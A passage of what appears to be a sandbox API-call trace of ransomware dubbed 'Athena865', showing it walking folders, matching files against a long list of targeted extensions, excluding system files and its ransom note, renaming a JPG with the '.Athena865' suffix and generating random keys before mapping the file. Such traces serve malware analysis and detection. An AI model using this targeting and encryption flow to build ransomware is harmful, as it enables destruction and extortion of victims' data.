(lpString="kexis") returned 5 [0129.983] lstrcmpiW (lpString1="5.JPG", lpString2="kexis") returned -1 [0129.983] lstrlenW (lpString="lgc") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="lgc") returned -1 [0129.983] lstrlenW (lpString="lwx") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="lwx") returned -1 [0129.983] lstrlenW (lpString="maf") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="maf") returned -1 [0129.983] lstrlenW (lpString="maq") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="maq") returned -1 [0129.983] lstrlenW (lpString="mar") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="mar") returned -1 [0129.983] lstrlenW (lpString="marshal") returned 7 [0129.983] lstrcmpiW (lpString1="645.JPG", lpString2="marshal") returned -1 [0129.983] lstrlenW (lpString="mas") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="mas") returned -1 [0129.983] lstrlenW (lpString="mav") returned 3 [0129.983] lstrcmpiW (lpString1="JPG", lpString2="mav") returned -1 [0129.983] lstrlenW (lpString="maw") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="maw") returned -1 [0129.984] lstrlenW (lpString="mdbhtml") returned 7 [0129.984] lstrcmpiW (lpString1="645.JPG", lpString2="mdbhtml") returned -1 [0129.984] lstrlenW (lpString="mdn") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="mdn") returned -1 [0129.984] lstrlenW (lpString="mdt") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="mdt") returned -1 [0129.984] lstrlenW (lpString="mfd") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="mfd") returned -1 [0129.984] lstrlenW (lpString="mpd") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="mpd") returned -1 [0129.984] lstrlenW (lpString="mrg") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="mrg") returned -1 [0129.984] lstrlenW (lpString="mud") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="mud") returned -1 [0129.984] lstrlenW (lpString="mwb") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="mwb") returned -1 [0129.984] lstrlenW (lpString="myd") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="myd") returned -1 [0129.984] lstrlenW (lpString="ndf") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="ndf") returned -1 [0129.984] lstrlenW (lpString="nnt") returned 3 [0129.984] lstrcmpiW (lpString1="JPG", lpString2="nnt") returned -1 [0129.984] lstrlenW (lpString="nrmlib") returned 6 [0129.984] lstrcmpiW (lpString1="45.JPG", lpString2="nrmlib") returned -1 [0129.984] lstrlenW (lpString="ns2") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="ns2") returned -1 [0129.985] lstrlenW (lpString="ns3") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="ns3") returned -1 [0129.985] lstrlenW (lpString="ns4") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="ns4") returned -1 [0129.985] lstrlenW (lpString="nsf") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="nsf") returned -1 [0129.985] lstrlenW (lpString="nv") returned 2 [0129.985] lstrcmpiW (lpString1="PG", lpString2="nv") returned 1 [0129.985] lstrlenW (lpString="nv2") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="nv2") returned -1 [0129.985] lstrlenW (lpString="nwdb") returned 4 [0129.985] lstrcmpiW (lpString1=".JPG", lpString2="nwdb") returned -1 [0129.985] lstrlenW (lpString="nyf") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="nyf") returned -1 [0129.985] lstrlenW (lpString="odb") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0129.985] lstrlenW (lpString="odb") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0129.985] lstrlenW (lpString="oqy") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="oqy") returned -1 [0129.985] lstrlenW (lpString="ora") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="ora") returned -1 [0129.985] lstrlenW (lpString="orx") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="orx") returned -1 [0129.985] lstrlenW (lpString="owc") returned 3 [0129.985] lstrcmpiW (lpString1="JPG", lpString2="owc") returned -1 [0129.986] lstrlenW (lpString="p96") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="p96") returned -1 [0129.986] lstrlenW (lpString="p97") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="p97") returned -1 [0129.986] lstrlenW (lpString="pan") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="pan") returned -1 [0129.986] lstrlenW (lpString="pdb") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="pdb") returned -1 [0129.986] lstrlenW (lpString="pdm") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="pdm") returned -1 [0129.986] lstrlenW (lpString="pnz") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="pnz") returned -1 [0129.986] lstrlenW (lpString="qry") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="qry") returned -1 [0129.986] lstrlenW (lpString="qvd") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="qvd") returned -1 [0129.986] lstrlenW (lpString="rbf") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="rbf") returned -1 [0129.986] lstrlenW (lpString="rctd") returned 4 [0129.986] lstrcmpiW (lpString1=".JPG", lpString2="rctd") returned -1 [0129.986] lstrlenW (lpString="rod") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="rod") returned -1 [0129.986] lstrlenW (lpString="rodx") returned 4 [0129.986] lstrcmpiW (lpString1=".JPG", lpString2="rodx") returned -1 [0129.986] lstrlenW (lpString="rpd") returned 3 [0129.986] lstrcmpiW (lpString1="JPG", lpString2="rpd") returned -1 [0129.987] lstrlenW (lpString="rsd") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="rsd") returned -1 [0129.987] lstrlenW (lpString="sas7bdat") returned 8 [0129.987] lstrcmpiW (lpString1="7645.JPG", lpString2="sas7bdat") returned -1 [0129.987] lstrlenW (lpString="sbf") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="sbf") returned -1 [0129.987] lstrlenW (lpString="scx") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="scx") returned -1 [0129.987] lstrlenW (lpString="sdb") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="sdb") returned -1 [0129.987] lstrlenW (lpString="sdc") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="sdc") returned -1 [0129.987] lstrlenW (lpString="sdf") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="sdf") returned -1 [0129.987] lstrlenW (lpString="sis") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="sis") returned -1 [0129.987] lstrlenW (lpString="spq") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="spq") returned -1 [0129.987] lstrlenW (lpString="te") returned 2 [0129.987] lstrcmpiW (lpString1="PG", lpString2="te") returned -1 [0129.987] lstrlenW (lpString="teacher") returned 7 [0129.987] lstrcmpiW (lpString1="645.JPG", lpString2="teacher") returned -1 [0129.987] lstrlenW (lpString="tmd") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="tmd") returned -1 [0129.987] lstrlenW (lpString="tps") returned 3 [0129.987] lstrcmpiW (lpString1="JPG", lpString2="tps") returned -1 [0129.987] lstrlenW (lpString="trc") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0129.988] lstrlenW (lpString="trc") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0129.988] lstrlenW (lpString="trm") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="trm") returned -1 [0129.988] lstrlenW (lpString="udb") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="udb") returned -1 [0129.988] lstrlenW (lpString="udl") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="udl") returned -1 [0129.988] lstrlenW (lpString="usr") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="usr") returned -1 [0129.988] lstrlenW (lpString="v12") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="v12") returned -1 [0129.988] lstrlenW (lpString="vis") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="vis") returned -1 [0129.988] lstrlenW (lpString="vpd") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="vpd") returned -1 [0129.988] lstrlenW (lpString="vvv") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="vvv") returned -1 [0129.988] lstrlenW (lpString="wdb") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="wdb") returned -1 [0129.988] lstrlenW (lpString="wmdb") returned 4 [0129.988] lstrcmpiW (lpString1=".JPG", lpString2="wmdb") returned -1 [0129.988] lstrlenW (lpString="wrk") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="wrk") returned -1 [0129.988] lstrlenW (lpString="xdb") returned 3 [0129.988] lstrcmpiW (lpString1="JPG", lpString2="xdb") returned -1 [0129.989] lstrlenW (lpString="xld") returned 3 [0129.989] lstrcmpiW (lpString1="JPG", lpString2="xld") returned -1 [0129.989] lstrlenW (lpString="xmlff") returned 5 [0129.989] lstrcmpiW (lpString1="5.JPG", lpString2="xmlff") returned -1 [0129.989] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.Athena865") returned 73 [0129.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.athena865"), dwFlags=0x1) returned 1 [0129.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.991] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36230) returned 1 [0129.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.991] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.992] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.992] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.992] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9090, lpName=0x0) returned 0x154 [0129.995] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9090) returned 0x100000 [0130.007] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.009] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.009] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.011] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.013] CloseHandle (hObject=0x154) returned 1 [0130.013] CloseHandle (hObject=0x17c) returned 1 [0130.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.014] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0130.014] lstrcmpiW (lpString1="J0289430.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.015] lstrcmpiW (lpString1="J0289430.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.015] lstrcmpiW (lpString1="J0289430.JPG", lpString2=".") returned 1 [0130.015] lstrcmpiW (lpString1="J0289430.JPG", lpString2="..") returned 1 [0130.016] lstrcmpiW (lpString1="J0289430.JPG", lpString2="windows") returned -1 [0130.016] lstrcmpiW (lpString1="J0289430.JPG", lpString2="bootmgr") returned 1 [0130.017] lstrcmpiW (lpString1="J0289430.JPG", lpString2="temp") returned -1 [0130.017] lstrcmpiW (lpString1="J0289430.JPG", lpString2="pagefile.sys") returned -1 [0130.017] lstrcmpiW (lpString1="J0289430.JPG", lpString2="boot") returned 1 [0130.017] lstrcmpiW (lpString1="J0289430.JPG", lpString2="ids.txt") returned 1 [0130.017] lstrcmpiW (lpString1="J0289430.JPG", lpString2="ntuser.dat") returned -1 [0130.017] lstrcmpiW (lpString1="J0289430.JPG", lpString2="perflogs") returned -1 [0130.017] lstrcmpiW (lpString1="J0289430.JPG", lpString2="MSBuild") returned -1 [0130.018] lstrlenW (lpString="J0289430.JPG") returned 12 [0130.018] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0289430.JPG" | out: lpString1="J0289430.JPG") returned="J0289430.JPG" [0130.018] lstrlenW (lpString="J0289430.JPG") returned 12 [0130.018] lstrlenW (lpString="Athena865") returned 9 [0130.018] lstrcmpiW (lpString1="89430.JPG", lpString2="Athena865") returned -1 [0130.018] lstrlenW (lpString=".dll") returned 4 [0130.018] lstrcmpiW (lpString1="J0289430.JPG", lpString2=".dll") returned 1 [0130.018] lstrlenW (lpString=".lnk") returned 4 [0130.018] lstrcmpiW (lpString1="J0289430.JPG", lpString2=".lnk") returned 1 [0130.018] lstrlenW (lpString=".ini") returned 4 [0130.018] lstrcmpiW (lpString1="J0289430.JPG", lpString2=".ini") returned 1 [0130.018] lstrlenW (lpString=".sys") returned 4 [0130.018] lstrcmpiW (lpString1="J0289430.JPG", lpString2=".sys") returned 1 [0130.019] lstrlenW (lpString="J0289430.JPG") returned 12 [0130.019] lstrlenW (lpString="bak") returned 3 [0130.019] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0130.020] lstrlenW (lpString="ba_") returned 3 [0130.020] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0130.020] lstrlenW (lpString="dbb") returned 3 [0130.022] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0130.022] lstrlenW (lpString="vmdk") returned 4 [0130.022] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0130.022] lstrlenW (lpString="rar") returned 3 [0130.022] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0130.022] lstrlenW (lpString="zip") returned 3 [0130.022] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0130.022] lstrlenW (lpString="tgz") returned 3 [0130.022] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0130.022] lstrlenW (lpString="vbox") returned 4 [0130.022] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0130.022] lstrlenW (lpString="vdi") returned 3 [0130.022] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0130.022] lstrlenW (lpString="vhd") returned 3 [0130.022] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0130.022] lstrlenW (lpString="vhdx") returned 4 [0130.022] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0130.023] lstrlenW (lpString="avhd") returned 4 [0130.023] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0130.023] lstrlenW (lpString="db") returned 2 [0130.023] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0130.023] lstrlenW (lpString="db2") returned 3 [0130.024] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0130.024] lstrlenW (lpString="db3") returned 3 [0130.025] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0130.025] lstrlenW (lpString="dbf") returned 3 [0130.026] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0130.027] lstrlenW (lpString="mdf") returned 3 [0130.027] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0130.027] lstrlenW (lpString="mdb") returned 3 [0130.027] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0130.027] lstrlenW (lpString="sql") returned 3 [0130.027] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0130.027] lstrlenW (lpString="sqlite") returned 6 [0130.027] lstrcmpiW (lpString1="30.JPG", lpString2="sqlite") returned -1 [0130.027] lstrlenW (lpString="sqlite3") returned 7 [0130.027] lstrcmpiW (lpString1="430.JPG", lpString2="sqlite3") returned -1 [0130.027] lstrlenW (lpString="sqlitedb") returned 8 [0130.027] lstrcmpiW (lpString1="9430.JPG", lpString2="sqlitedb") returned -1 [0130.027] lstrlenW (lpString="xml") returned 3 [0130.027] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0130.027] lstrlenW (lpString="$er") returned 3 [0130.027] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0130.028] lstrlenW (lpString="4dd") returned 3 [0130.028] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0130.028] lstrlenW (lpString="4dl") returned 3 [0130.028] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0130.028] lstrlenW (lpString="^^^") returned 3 [0130.028] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0130.028] lstrlenW (lpString="abs") returned 3 [0130.028] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0130.028] lstrlenW (lpString="abx") returned 3 [0130.028] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0130.028] lstrlenW (lpString="accdb") returned 5 [0130.028] lstrcmpiW (lpString1="0.JPG", lpString2="accdb") returned -1 [0130.028] lstrlenW (lpString="accdc") returned 5 [0130.028] lstrcmpiW (lpString1="0.JPG", lpString2="accdc") returned -1 [0130.028] lstrlenW (lpString="accde") returned 5 [0130.028] lstrcmpiW (lpString1="0.JPG", lpString2="accde") returned -1 [0130.028] lstrlenW (lpString="accdr") returned 5 [0130.028] lstrcmpiW (lpString1="0.JPG", lpString2="accdr") returned -1 [0130.028] lstrlenW (lpString="accdt") returned 5 [0130.028] lstrcmpiW (lpString1="0.JPG", lpString2="accdt") returned -1 [0130.028] lstrlenW (lpString="accdw") returned 5 [0130.028] lstrcmpiW (lpString1="0.JPG", lpString2="accdw") returned -1 [0130.028] lstrlenW (lpString="accft") returned 5 [0130.028] lstrcmpiW (lpString1="0.JPG", lpString2="accft") returned -1 [0130.028] lstrlenW (lpString="adb") returned 3 [0130.028] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0130.029] lstrlenW (lpString="adb") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0130.029] lstrlenW (lpString="ade") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0130.029] lstrlenW (lpString="adf") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0130.029] lstrlenW (lpString="adn") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0130.029] lstrlenW (lpString="adp") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0130.029] lstrlenW (lpString="alf") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0130.029] lstrlenW (lpString="ask") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0130.029] lstrlenW (lpString="btr") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0130.029] lstrlenW (lpString="cat") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0130.029] lstrlenW (lpString="cdb") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0130.029] lstrlenW (lpString="ckp") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0130.029] lstrlenW (lpString="cma") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0130.029] lstrlenW (lpString="cpd") returned 3 [0130.029] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0130.030] lstrlenW (lpString="dacpac") returned 6 [0130.030] lstrcmpiW (lpString1="30.JPG", lpString2="dacpac") returned -1 [0130.030] lstrlenW (lpString="dad") returned 3 [0130.030] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0130.030] lstrlenW (lpString="dadiagrams") returned 10 [0130.030] lstrcmpiW (lpString1="289430.JPG", lpString2="dadiagrams") returned -1 [0130.030] lstrlenW (lpString="daschema") returned 8 [0130.030] lstrcmpiW (lpString1="9430.JPG", lpString2="daschema") returned -1 [0130.030] lstrlenW (lpString="db-journal") returned 10 [0130.030] lstrcmpiW (lpString1="289430.JPG", lpString2="db-journal") returned -1 [0130.030] lstrlenW (lpString="db-shm") returned 6 [0130.030] lstrcmpiW (lpString1="30.JPG", lpString2="db-shm") returned -1 [0130.030] lstrlenW (lpString="db-wal") returned 6 [0130.030] lstrcmpiW (lpString1="30.JPG", lpString2="db-wal") returned -1 [0130.030] lstrlenW (lpString="dbc") returned 3 [0130.030] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0130.030] lstrlenW (lpString="dbs") returned 3 [0130.030] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0130.030] lstrlenW (lpString="dbt") returned 3 [0130.030] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0130.030] lstrlenW (lpString="dbv") returned 3 [0130.030] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0130.030] lstrlenW (lpString="dbx") returned 3 [0130.030] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0130.030] lstrlenW (lpString="dcb") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0130.031] lstrlenW (lpString="dct") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0130.031] lstrlenW (lpString="dcx") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dcx") returned 1 [0130.031] lstrlenW (lpString="ddl") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="ddl") returned 1 [0130.031] lstrlenW (lpString="dlis") returned 4 [0130.031] lstrcmpiW (lpString1=".JPG", lpString2="dlis") returned -1 [0130.031] lstrlenW (lpString="dp1") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dp1") returned 1 [0130.031] lstrlenW (lpString="dqy") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dqy") returned 1 [0130.031] lstrlenW (lpString="dsk") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dsk") returned 1 [0130.031] lstrlenW (lpString="dsn") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dsn") returned 1 [0130.031] lstrlenW (lpString="dtsx") returned 4 [0130.031] lstrcmpiW (lpString1=".JPG", lpString2="dtsx") returned -1 [0130.031] lstrlenW (lpString="dxl") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="dxl") returned 1 [0130.031] lstrlenW (lpString="eco") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="eco") returned 1 [0130.031] lstrlenW (lpString="ecx") returned 3 [0130.031] lstrcmpiW (lpString1="JPG", lpString2="ecx") returned 1 [0130.031] lstrlenW (lpString="edb") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="edb") returned 1 [0130.032] lstrlenW (lpString="epim") returned 4 [0130.032] lstrcmpiW (lpString1=".JPG", lpString2="epim") returned -1 [0130.032] lstrlenW (lpString="fcd") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fcd") returned 1 [0130.032] lstrlenW (lpString="fdb") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fdb") returned 1 [0130.032] lstrlenW (lpString="fic") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fic") returned 1 [0130.032] lstrlenW (lpString="flexolibrary") returned 12 [0130.032] lstrlenW (lpString="fm5") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fm5") returned 1 [0130.032] lstrlenW (lpString="fmp") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fmp") returned 1 [0130.032] lstrlenW (lpString="fmp12") returned 5 [0130.032] lstrcmpiW (lpString1="0.JPG", lpString2="fmp12") returned -1 [0130.032] lstrlenW (lpString="fmpsl") returned 5 [0130.032] lstrcmpiW (lpString1="0.JPG", lpString2="fmpsl") returned -1 [0130.032] lstrlenW (lpString="fol") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fol") returned 1 [0130.032] lstrlenW (lpString="fp3") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fp3") returned 1 [0130.032] lstrlenW (lpString="fp4") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fp4") returned 1 [0130.032] lstrlenW (lpString="fp5") returned 3 [0130.032] lstrcmpiW (lpString1="JPG", lpString2="fp5") returned 1 [0130.032] lstrlenW (lpString="fp7") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="fp7") returned 1 [0130.033] lstrlenW (lpString="fpt") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="fpt") returned 1 [0130.033] lstrlenW (lpString="frm") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="frm") returned 1 [0130.033] lstrlenW (lpString="gdb") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0130.033] lstrlenW (lpString="gdb") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0130.033] lstrlenW (lpString="grdb") returned 4 [0130.033] lstrcmpiW (lpString1=".JPG", lpString2="grdb") returned -1 [0130.033] lstrlenW (lpString="gwi") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="gwi") returned 1 [0130.033] lstrlenW (lpString="hdb") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="hdb") returned 1 [0130.033] lstrlenW (lpString="his") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="his") returned 1 [0130.033] lstrlenW (lpString="ib") returned 2 [0130.033] lstrcmpiW (lpString1="PG", lpString2="ib") returned 1 [0130.033] lstrlenW 